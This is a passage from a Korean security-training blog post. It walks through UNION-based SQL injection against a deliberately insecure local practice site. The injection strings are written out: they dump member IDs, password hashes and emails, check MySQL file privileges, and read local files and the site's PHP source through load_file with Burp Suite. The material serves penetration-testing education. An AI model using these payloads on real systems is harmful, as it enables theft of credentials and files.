&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;963&quot; data-origin-height=&quot;572&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Tm73Z/btsLbSPr4LL/1YJCb4x76jmhBoY6OvPTY0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Tm73Z/btsLbSPr4LL/1YJCb4x76jmhBoY6OvPTY0/img.png&quot; data-alt=&quot;customer_info 테이블 내 컬럼 데이터 출력&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Tm73Z/btsLbSPr4LL/1YJCb4x76jmhBoY6OvPTY0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FTm73Z%2FbtsLbSPr4LL%2F1YJCb4x76jmhBoY6OvPTY0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;963&quot; height=&quot;572&quot; data-origin-width=&quot;963&quot; data-origin-height=&quot;572&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;customer_info 테이블 내 컬럼 데이터 출력&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번에는 members 테이블의 컬럼을 확인해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;' and 1=2 union select null,column_name,null,null,null,null,null,null,null from information_schema.columns where table_schema='pentest' and table_name='members'# 을 입력하면 pentest 데이터베이스 내 members 테이블의 컬럼 목록을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;963&quot; data-origin-height=&quot;636&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bR7hxX/btsLcp67Orf/BPa1Z0kkmOmzhk5yX5F4Jk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bR7hxX/btsLcp67Orf/BPa1Z0kkmOmzhk5yX5F4Jk/img.png&quot; data-alt=&quot;members 테이블 내 컬럼 출력&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bR7hxX/btsLcp67Orf/BPa1Z0kkmOmzhk5yX5F4Jk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbR7hxX%2FbtsLcp67Orf%2FBPa1Z0kkmOmzhk5yX5F4Jk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;963&quot; height=&quot;636&quot; data-origin-width=&quot;963&quot; data-origin-height=&quot;636&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;members 테이블 내 컬럼 출력&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;members 테이블 컬럼 내 데이터를 확인해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;' and 1=2 union select id,password,null,null,name,null,null,email,null from members# 을 입력한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;members 테이블에 존재하는 ID, Password, 이름, 이메일을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;961&quot; data-origin-height=&quot;431&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/JWX06/btsK9RLu0QJ/gZ6IsRE6O57FxWNs4BKcRK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/JWX06/btsK9RLu0QJ/gZ6IsRE6O57FxWNs4BKcRK/img.png&quot; data-alt=&quot;members 테이블 내 컬럼 데이터 출력&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/JWX06/btsK9RLu0QJ/gZ6IsRE6O57FxWNs4BKcRK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJWX06%2FbtsK9RLu0QJ%2FgZ6IsRE6O57FxWNs4BKcRK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;961&quot; height=&quot;431&quot; data-origin-width=&quot;961&quot; data-origin-height=&quot;431&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;members 테이블 내 컬럼 데이터 출력&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;members는 웹 페이지 회원가입 시 생성했던 계정 정보가 있는 테이블로 이전에 생성했던 admin과 test 계정을 확인할 수 있으며, 비밀번호는 MD5 해시함수에 의해 암호화 되어 있는 것으로 보인다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;실습2-7 UNION-BASED 공격을 통한 로컬 파일 무단 열람 실습&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로컬 파일이란? - DBMS 내 파일&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 WAS와 DBMS는 &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;물리적으로&amp;nbsp;&lt;/span&gt;동일 선상에 있는 서버(PC)이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MySQL의 load_file 함수를 활용한 공격으로, 특정 경로 내 파일을 무단으로 열람할 수 있도록 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로컬 파일 무단 열람&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 열람하려는 대상 찾아야 하는데(리눅스의 etc/passwd 등), 윈도우의 경우에 임의의 경로에 파일을 생성하여 열람 시도를 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;C드라이브에 information 폴더 생성, secret_info.txt 라는 텍스트 파일 생성 후 아무 문자열을 입력한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 파일 위치: C:\information\secret_info.txt&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;mysql.user 테이블 컬럼 목록&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 179px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 21.6279%; text-align: center; height: 20px;&quot;&gt;&lt;b&gt;컬럼명&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 78.3721%; text-align: center; height: 20px;&quot;&gt;&lt;b&gt;설명&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 21.6279%; height: 20px;&quot;&gt;select_priv&lt;/td&gt;
&lt;td style=&quot;width: 78.3721%; height: 20px;&quot;&gt;select 문을 수행할 수 있는 권한&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 21.6279%; height: 20px;&quot;&gt;insert_priv&lt;/td&gt;
&lt;td style=&quot;width: 78.3721%; height: 20px;&quot;&gt;insert 문을 수행할 수 있는 권한&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 21.6279%; height: 17px;&quot;&gt;update_priv&lt;/td&gt;
&lt;td style=&quot;width: 78.3721%; height: 17px;&quot;&gt;update 문을 수행할 수 있는 권한&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 21.6279%; height: 17px;&quot;&gt;delete_priv&lt;/td&gt;
&lt;td style=&quot;width: 78.3721%; height: 17px;&quot;&gt;delete 문을 수행할 수 있는 권한&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 21.6279%; height: 17px;&quot;&gt;create_priv&lt;/td&gt;
&lt;td style=&quot;width: 78.3721%; height: 17px;&quot;&gt;create 문을 수행하거나 테이블을 생성할 수 있는 권한&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 21.6279%;&quot;&gt;drop_priv&lt;/td&gt;
&lt;td style=&quot;width: 78.3721%;&quot;&gt;drop 문을 수행하거나 데이터베이스를 삭제할 수 있는 권한&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 21.6279%; height: 17px;&quot;&gt;reload_priv&lt;/td&gt;
&lt;td style=&quot;width: 78.3721%; height: 17px;&quot;&gt;mysqladmin reload 명령을 이용하여 접근정보를 다시 읽을 수 있는 권한&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 21.6279%; height: 17px;&quot;&gt;shutdown_priv&lt;/td&gt;
&lt;td style=&quot;width: 78.3721%; height: 17px;&quot;&gt;mysqladmin shutdown 명령을 이용하여 서버를 종료시킬 수 있는 권한&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 21.6279%; height: 17px;&quot;&gt;process_priv&lt;/td&gt;
&lt;td style=&quot;width: 78.3721%; height: 17px;&quot;&gt;&lt;span style=&quot;background-color: #f9f9f9; color: #333333; text-align: start;&quot;&gt;서버 프로세스를 관리할 수 있는 권한&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 21.6279%; height: 17px;&quot;&gt;file_priv&lt;/td&gt;
&lt;td style=&quot;width: 78.3721%; height: 17px;&quot;&gt;select into outfile과 load data infile과 같은 명령을 이용하여 파일에 읽고 쓸 수 있는 권한&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 21.6279%;&quot;&gt;grant_priv&lt;/td&gt;
&lt;td style=&quot;width: 78.3721%;&quot;&gt;자신의 권한을 남에게 부여할 수 있는 권한&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 21.6279%;&quot;&gt;index_priv&lt;/td&gt;
&lt;td style=&quot;width: 78.3721%;&quot;&gt;인덱스를 만들거나 삭제할 수 있는 권한&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 21.6279%;&quot;&gt;alter_priv&lt;/td&gt;
&lt;td style=&quot;width: 78.3721%;&quot;&gt;alter table 문을 수행할 수 있는 권한&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 21.6279%;&quot;&gt;references_priv&lt;/td&gt;
&lt;td style=&quot;width: 78.3721%;&quot;&gt;사용하지 않음&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로컬 파일 무단 열람 공격 순서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1) 권한 확인&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일 열람을 시도하는 SQL Injection을 시도하기 전에, 먼저 파일 열람 권한이 있는지 확인해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select file_priv from mysql.user where user='root';&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;file_priv 는 MySQL에서 파일 엑세스 권한에 대한 컬럼이며, user는 root로 지정하여 확인한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;501&quot; data-origin-height=&quot;132&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ciNdQe/btsLefSThN2/VlnxwbvbqfMwZJk4KIp7C0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ciNdQe/btsLefSThN2/VlnxwbvbqfMwZJk4KIp7C0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ciNdQe/btsLefSThN2/VlnxwbvbqfMwZJk4KIp7C0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FciNdQe%2FbtsLefSThN2%2FVlnxwbvbqfMwZJk4KIp7C0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;501&quot; height=&quot;132&quot; data-origin-width=&quot;501&quot; data-origin-height=&quot;132&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기본적으로 Y로 설정되어 있으며, N으로 설정되어 있는 경우 파일 엑세스 권한을 허용하도록 변경해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;N으로 설정되어 있는 경우 다음 SQL 쿼리로 파일 엑세스 권한을 허용하도록 변경한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;update mysql.user set file_priv='Y' where user='root';&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;flush privileges;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 실습으로 인해 CMD 창에서 MySQL에 접속하여 파일 엑세스 권한을 확인할 수 있지만, 실제 진단 시 웹 페이지 상에서 시도해야하므로 웹 페이지 검색창에 union 구문을 활용하여 파일 엑세스 권한을 확인해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;' and 1=2 union select null,file_priv,null,null,null,null,null,null,null from mysql.user where user='root'# 을 입력한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;957&quot; data-origin-height=&quot;389&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/yZMcQ/btsLfPZu646/0waEYUSCV6yW6sR5vXisdK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/yZMcQ/btsLfPZu646/0waEYUSCV6yW6sR5vXisdK/img.png&quot; data-alt=&quot;파일 권한 확인&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/yZMcQ/btsLfPZu646/0waEYUSCV6yW6sR5vXisdK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FyZMcQ%2FbtsLfPZu646%2F0waEYUSCV6yW6sR5vXisdK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;957&quot; height=&quot;389&quot; data-origin-width=&quot;957&quot; data-origin-height=&quot;389&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;파일 권한 확인&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Y가 출력되는 것을 통해 파일 엑세스 권한이 있는 것을 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2) 파일 열람 시도&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 페이지 검색창에 union 구문 활용하여 파일 열람을 시도한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;' and 1=2 union select null,load_file('/information/secret_info.txt'),null,null,null,null,null,null,null# 을 입력한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;969&quot; data-origin-height=&quot;383&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bkgrTA/btsLeO8hwNw/KiQDNDW6Amfu5s9VHxIDhk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bkgrTA/btsLeO8hwNw/KiQDNDW6Amfu5s9VHxIDhk/img.png&quot; data-alt=&quot;파일 열람 성공&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bkgrTA/btsLeO8hwNw/KiQDNDW6Amfu5s9VHxIDhk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbkgrTA%2FbtsLeO8hwNw%2FKiQDNDW6Amfu5s9VHxIDhk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;969&quot; height=&quot;383&quot; data-origin-width=&quot;969&quot; data-origin-height=&quot;383&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;파일 열람 성공&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한 C드라이브 뿐만 아니라 D드라이브 내 파일 열람도 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일 위치 D:\test\test.txt&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 페이지 검색창에 union 구문 활용하여 파일 열람을 시도한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;' and 1=2 union select null,load_file('D:/test/test.txt '),null,null,null,null,null,null,null# 을 입력한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;975&quot; data-origin-height=&quot;397&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/REQ5t/btsLe61V0DT/3mEOI9kGokR3257oFqqDbK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/REQ5t/btsLe61V0DT/3mEOI9kGokR3257oFqqDbK/img.png&quot; data-alt=&quot;D드라이브 파일 열람 성공&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/REQ5t/btsLe61V0DT/3mEOI9kGokR3257oFqqDbK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FREQ5t%2FbtsLe61V0DT%2F3mEOI9kGokR3257oFqqDbK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;975&quot; height=&quot;397&quot; data-origin-width=&quot;975&quot; data-origin-height=&quot;397&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;D드라이브 파일 열람 성공&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일 뿐 아니라 웹 페이지의 소스코드도 버프스위트를 활용하여 열람이 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 페이지 검색창에 아무 문자열 입력 후 버프스위트에서 Intercept On 클릭 후에 웹 페이지의 Search 버튼을 클릭한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1529&quot; data-origin-height=&quot;970&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qmJlW/btsLefL547I/KOhbezvyTYahvJvuROlOi0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qmJlW/btsLefL547I/KOhbezvyTYahvJvuROlOi0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qmJlW/btsLefL547I/KOhbezvyTYahvJvuROlOi0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqmJlW%2FbtsLefL547I%2FKOhbezvyTYahvJvuROlOi0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1529&quot; height=&quot;970&quot; data-origin-width=&quot;1529&quot; data-origin-height=&quot;970&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 ctrl + R 을 입력하여 리피터로 보낸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;keyword 부분에 ' and 1=2 union select null,load_file('/information/secret_info.txt'),null,null,null,null,null,null,null# 을 입력하는데, 이때 프록시에서 서버로 전송하기 때문에 URL 인코딩을 적용해줘야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ctrl + U 를 입력하여 URL 인코딩 적용 후 Send 한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1154&quot; data-origin-height=&quot;910&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/beAtkF/btsLf3DbFeB/BfJO5WWZx3nEfo00qJrMSk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/beAtkF/btsLf3DbFeB/BfJO5WWZx3nEfo00qJrMSk/img.png&quot; data-alt=&quot;URL 인코딩 전&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/beAtkF/btsLf3DbFeB/BfJO5WWZx3nEfo00qJrMSk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbeAtkF%2FbtsLf3DbFeB%2FBfJO5WWZx3nEfo00qJrMSk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1154&quot; height=&quot;910&quot; data-origin-width=&quot;1154&quot; data-origin-height=&quot;910&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;URL 인코딩 전&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1086&quot; data-origin-height=&quot;923&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bSB44t/btsLeg5i3Pj/0PYWuAqEOFGKJ9KaJJYu70/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bSB44t/btsLeg5i3Pj/0PYWuAqEOFGKJ9KaJJYu70/img.png&quot; data-alt=&quot;URL 인코딩 후&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bSB44t/btsLeg5i3Pj/0PYWuAqEOFGKJ9KaJJYu70/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbSB44t%2FbtsLeg5i3Pj%2F0PYWuAqEOFGKJ9KaJJYu70%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1086&quot; height=&quot;923&quot; data-origin-width=&quot;1086&quot; data-origin-height=&quot;923&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;URL 인코딩 후&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1877&quot; data-origin-height=&quot;887&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bXVb35/btsLeBVHkBH/buc5qaCBbfQDNkEg0WGeMk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bXVb35/btsLeBVHkBH/buc5qaCBbfQDNkEg0WGeMk/img.png&quot; data-alt=&quot;secret_info.txt 파일 내 문자열 확인&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bXVb35/btsLeBVHkBH/buc5qaCBbfQDNkEg0WGeMk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbXVb35%2FbtsLeBVHkBH%2Fbuc5qaCBbfQDNkEg0WGeMk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1877&quot; height=&quot;887&quot; data-origin-width=&quot;1877&quot; data-origin-height=&quot;887&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;secret_info.txt 파일 내 문자열 확인&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;insecure_website의 index.php 소스코드를 열람해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;keyword 부분에 다음 SQL Injection 쿼리를 입력한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;' and 1=2 union select null,load_file('C:/APM_Setup/htdocs/insecure_website/index.php'),null,null,null,null,null,null,null# 을 입력 후 ctrl + U 를 입력하여 URL 인코딩 적용 후 Send 한다.&lt;/p&gt;
